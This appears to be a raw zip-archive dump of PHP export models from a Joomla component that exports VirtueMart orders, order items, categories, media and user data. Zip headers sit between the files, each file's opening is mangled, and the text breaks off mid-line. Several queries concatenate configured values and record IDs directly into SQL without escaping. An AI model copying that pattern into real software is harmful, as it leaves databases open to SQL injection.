$query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'product_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $product_sku = $db->loadResult(); $product_sku = CsviHelper::replaceValue($field->replace, $product_sku); $this->addExportField($field->combine, $product_sku, $fieldname, $field->column_header); break; case 'vote': $query = $db->getQuery(true); $query->select('vote'); $query->from('#__virtuemart_rating_votes'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $query->where('created_by = '.$record->created_by); $db->setQuery($query); $vote = $db->loadResult(); $vote = CsviHelper::replaceValue($field->replace, $vote); $this->addExportField($field->combine, $vote, $fieldname, $field->column_header); break; case 'username': $query = $db->getQuery(true); $query->select('username'); $query->from('#__users'); $query->where('id = '.$record->created_by); $db->setQuery($query); $username = $db->loadResult(); $username = CsviHelper::replaceValue($field->replace, $username); $this->addExportField($field->combine, $username, $fieldname, $field->column_header); break; case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\qZ6''Dcomponents/com_csvi/models/com_virtuemart/export/orderitemexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': case 'virtuemart_order_id': case 'order_status': case 'virtuemart_vendor_id': $userfields[] = $db->quoteName('#__virtuemart_order_items').'.'.$db->quoteName($field->field_name); break; case 'product_sku': $userfields[] = $db->quoteName('#__virtuemart_order_items').'.'.$db->quoteName('order_item_sku').' AS product_sku'; break; case 'full_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('last_name'); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } // Construct the query // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_order_items'); $query->leftJoin('#__virtuemart_orders ON #__virtuemart_orders.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_order_userinfos AS user_info1 ON user_info1.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_orderstates ON #__virtuemart_orderstates.order_status_code = #__virtuemart_order_items.order_status'); // Check if there are any selectors $selectors = array(); // Filter by order number start $ordernostart = $template->get('orderitemnostart', 'orderitem', 0, 'int'); if ($ordernostart > 0) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('orderitemnoend', 'orderitem', 0, 'int'); if ($ordernoend > 0) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderitemlist', 'orderitem'); if ($orderlist) { $selectors[] = '#__virtuemart_order_items.virtuemart_order_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderitemdatestart', 'orderitem', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = '#__virtuemart_order_items.created_on >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderitemdateend', 'orderitem', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = '#__virtuemart_order_items.created_on <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order modified date start $ordermdatestart = $template->get('orderitemmdatestart', 'orderitem', false); if ($ordermdatestart) { $ordermdate = JFactory::getDate($ordermdatestart); $selectors[] = '#__virtuemart_order_items.modified_on >= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order modified date end $ordermdateend = $template->get('orderitemmdateend', 'orderitem', false); if ($ordermdateend) { $ordermdate = JFactory::getDate($ordermdateend); $selectors[] = '#__virtuemart_order_items.modified_on <= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderitemstatus', 'orderitem', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__virtuemart_order_items.order_status IN (\''.implode("','", $orderstatus).'\')'; } // Filter by order price start $pricestart = $template->get('orderitempricestart', 'orderitem', false, 'float'); if ($pricestart) { $selectors[] = '#__virtuemart_orders.order_total >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderitempriceend', 'orderitem', false, 'float'); if ($priceend) { $selectors[] = '#__virtuemart_orders.order_total <= '.$priceend; } // Filter by order product $orderproduct = $template->get('orderitemproduct', 'orderitem', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__virtuemart_order_items.order_item_sku IN (\''.implode("','", $orderproduct).'\')'; } // Filter by order currency $ordercurrency = $template->get('orderitemcurrency', 'orderitem', false); if ($ordercurrency && $ordercurrency[0] != '') { $selectors[] = '#__virtuemart_orders.order_currency IN (\''.implode("','", $ordercurrency).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('full_name'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'product_item_price': case 'product_final_price': case 'product_price': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\.@components/com_csvi/models/com_virtuemart/export/mediaexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'product_sku': $userfields[] = $db->quoteName('#__virtuemart_product_medias').'.'.$db->quoteName('virtuemart_product_id'); break; case 'ordering': case 'virtuemart_media_id': $userfields[] = $db->quoteName('#__virtuemart_medias').'.'.$db->quoteName($field->field_name); break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_medias'); $query->leftJoin('#__virtuemart_product_medias ON #__virtuemart_product_medias.virtuemart_media_id = #__virtuemart_medias.virtuemart_media_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_medias.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Fields to ignore $ignore = array('product_sku'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'product_sku': $query = $db->getQuery(true); $query->select('product_sku'); $query->from('#__virtuemart_products'); $query->where('virtuemart_product_id = '.$record->virtuemart_product_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\i2``Fcomponents/com_csvi/models/com_virtuemart/export/waitinglistexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_user_id': case 'virtuemart_product_id': case 'created_on': case 'modified_on': case 'locked_on': case 'created_by': case 'modified_by': case 'locked_by': $userfields[] = $db->quoteName('#__virtuemart_waitingusers').'.'.$db->quoteName($field->field_name); break; // Man made fields, do not export them case 'custom': case 'username': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_waitingusers'); $query->leftJoin('#__virtuemart_products ON #__virtuemart_products.virtuemart_product_id = #__virtuemart_waitingusers.virtuemart_product_id'); $query->leftJoin('#__users ON #__users.id = #__virtuemart_waitingusers.virtuemart_user_id'); // Ignore fields $ignore = array('custom', 'username'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\&  Gcomponents/com_csvi/models/com_virtuemart/export/shopperfieldexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { // Man made fields, do not export them case 'custom': break; default: $userfields[] = $db->quoteName($field->field_name); break; } } /** Export SQL Query * Get all products - including items * as well as products without a price */ $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_userfields'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state !== '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_userfields.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore some fields $ignore = array('custom'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add export limits $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); JRequest::setVar('logcount', array('export' => $logcount)); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\ ʣ-!-!Ccomponents/com_csvi/models/com_virtuemart/export/categoryexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $helper = new Com_VirtueMart(); // Get all categories $query = $db->getQuery(true); $query->select('LOWER(l.category_name) AS category_name, category_child_id AS cid, category_parent_id AS pid'); $query->from('#__virtuemart_categories c'); $query->leftJoin('#__virtuemart_category_categories x ON x.category_child_id = c.virtuemart_category_id'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' l ON l.virtuemart_category_id = c.virtuemart_category_id'); $db->setQuery($query); $cats = $db->loadObjectList(); // Check if there are any categories if (empty($cats)) { if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); } $this->writeOutput(); return false; } $categories = array(); // Group all categories together according to their level foreach ($cats as $key => $cat) { $categories[$cat->pid][$cat->cid] = $cat->category_name; } // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_category_id': case 'ordering': $userfields[] = '#__virtuemart_categories.'.$field->field_name; break; case 'file_url': case 'file_url_thumb': $userfields[] = '#__virtuemart_category_medias.virtuemart_media_id'; break; case 'category_name': case 'category_description': case 'metadesc': case 'metakey': case 'slug': case 'category_path': $userfields[] = $db->qn('#__virtuemart_categories').'.'.$db->qn('virtuemart_category_id'); break; default: $userfields[] = $db->qn($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_categories'); $query->leftJoin('#__virtuemart_categories_'.$template->get('language', 'general').' ON #__virtuemart_categories_'.$template->get('language', 'general').'.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); $query->leftJoin('#__virtuemart_category_medias ON #__virtuemart_category_medias.virtuemart_category_id = #__virtuemart_categories.virtuemart_category_id'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_categories.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('category_path','file_url','file_url_thumb',''); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; $fieldreplace = $field->field_name.$field->column_header; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'category_path': $fieldvalue = $helper->createCategoryPathById($record->virtuemart_category_id); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'file_url': case 'file_url_thumb': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_medias'); $query->where('virtuemart_media_id = '.$record->virtuemart_media_id); $db->setQuery($query); $fieldvalue = $db->loadResult(); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'category_name': case 'category_description': case 'metadesc': case 'metakey': case 'slug': case 'customtitle': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_categories_'.$template->get('language', 'general')); $query->where('virtuemart_category_id = '.$record->virtuemart_category_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\k&HXTXT@components/com_csvi/models/com_virtuemart/export/orderexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $address = strtoupper($template->get('order_address', 'order', false)); if ($address == 'BTST') $user_info_fields = CsviModelAvailablefields::DbFields('virtuemart_order_userinfos'); else $user_info_fields = array(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { switch ($field->field_name) { case 'created_by': case 'created_on': case 'locked_by': case 'locked_on': case 'modified_by': case 'modified_on': case 'order_status': case 'virtuemart_user_id': case 'virtuemart_vendor_id': case 'virtuemart_order_id': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName($field->field_name); break; case 'email': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName($field->field_name); break; case 'id': $userfields[] = $db->quoteName('#__users').'.'.$db->quoteName($field->field_name); break; case 'payment_element': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_paymentmethod_id'); break; case 'shipment_element': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_shipmentmethod_id'); break; case 'state_2_code': case 'state_3_code': case 'state_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('virtuemart_state_id'); break; case 'country_2_code': case 'country_3_code': case 'country_name': case 'virtuemart_country_id': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('virtuemart_country_id'); break; case 'user_currency': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('user_currency_id'); break; case 'username': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_user_id'); break; case 'full_name': $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('first_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('middle_name'); $userfields[] = $db->quoteName('user_info1').'.'.$db->quoteName('last_name'); break; case 'total_order_items': $userfields[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('virtuemart_order_id'); break; case 'product_price_total': $userfields[] = 'product_item_price*product_quantity AS product_price_total'; break; case 'discount_percentage': $userfields[] = '(order_discount/order_total)*100 AS discount_percentage'; break; case 'custom': // These are man made fields, do not try to get them from the database break; default: if ($address == 'BTST' && preg_match("/".$field->field_name."/i", join(",", array_keys($user_info_fields)))) { $userfields[] = 'COALESCE(user_info2.'.$field->field_name.', user_info1.'.$field->field_name.') AS '.$field->field_name; } else $userfields[] = $db->quoteName($field->field_name); break; } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_orders'); $query->leftJoin('#__virtuemart_order_items ON #__virtuemart_orders.virtuemart_order_id = #__virtuemart_order_items.virtuemart_order_id'); $query->leftJoin('#__virtuemart_order_userinfos AS user_info1 ON #__virtuemart_orders.virtuemart_order_id = user_info1.virtuemart_order_id'); if ($address == 'BTST') { $query->leftJoin('#__virtuemart_order_userinfos AS user_info2 ON #__virtuemart_orders.virtuemart_order_id = user_info2.virtuemart_order_id AND user_info2.address_type = '.$db->Quote('ST')); } $query->leftJoin('#__virtuemart_orderstates ON #__virtuemart_orders.order_status = #__virtuemart_orderstates.order_status_code'); $query->leftJoin('#__virtuemart_product_manufacturers ON #__virtuemart_order_items.virtuemart_product_id = #__virtuemart_product_manufacturers.virtuemart_product_id'); $query->leftJoin('#__virtuemart_manufacturers ON #__virtuemart_product_manufacturers.virtuemart_manufacturer_id = #__virtuemart_manufacturers.virtuemart_manufacturer_id'); $query->leftJoin('#__users ON #__users.id = user_info1.virtuemart_user_id'); $query->leftJoin('#__virtuemart_countries ON #__virtuemart_countries.virtuemart_country_id = user_info1.virtuemart_country_id'); // Check if there are any selectors $selectors = array(); // Filter by manufacturer $manufacturer = $template->get('ordermanufacturer', 'order', false); if ($manufacturer && $manufacturer[0] != 'none') { $selectors[] = '#__virtuemart_manufacturers.virtuemart_manufacturer_id IN ('.implode(',', $manufacturer).')'; } // Filter by order number start $ordernostart = $template->get('ordernostart', 'order', false, 'int'); if ($ordernostart > 0) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id >= '.$ordernostart; } // Filter by order number end $ordernoend = $template->get('ordernoend', 'order', false, 'int'); if ($ordernoend > 0) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id <= '.$ordernoend; } // Filter by list of order numbers $orderlist = $template->get('orderlist', 'order'); if ($orderlist) { $selectors[] = '#__virtuemart_orders.virtuemart_order_id IN ('.$orderlist.')'; } // Filter by order date start $orderdatestart = $template->get('orderdatestart', 'order', false); if ($orderdatestart) { $orderdate = JFactory::getDate($orderdatestart); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('created_on').' >= '.$db->Quote($orderdate->toMySQL()); } // Filter by order date end $orderdateend = $template->get('orderdateend', 'order', false); if ($orderdateend) { $orderdate = JFactory::getDate($orderdateend); $selectors[] = 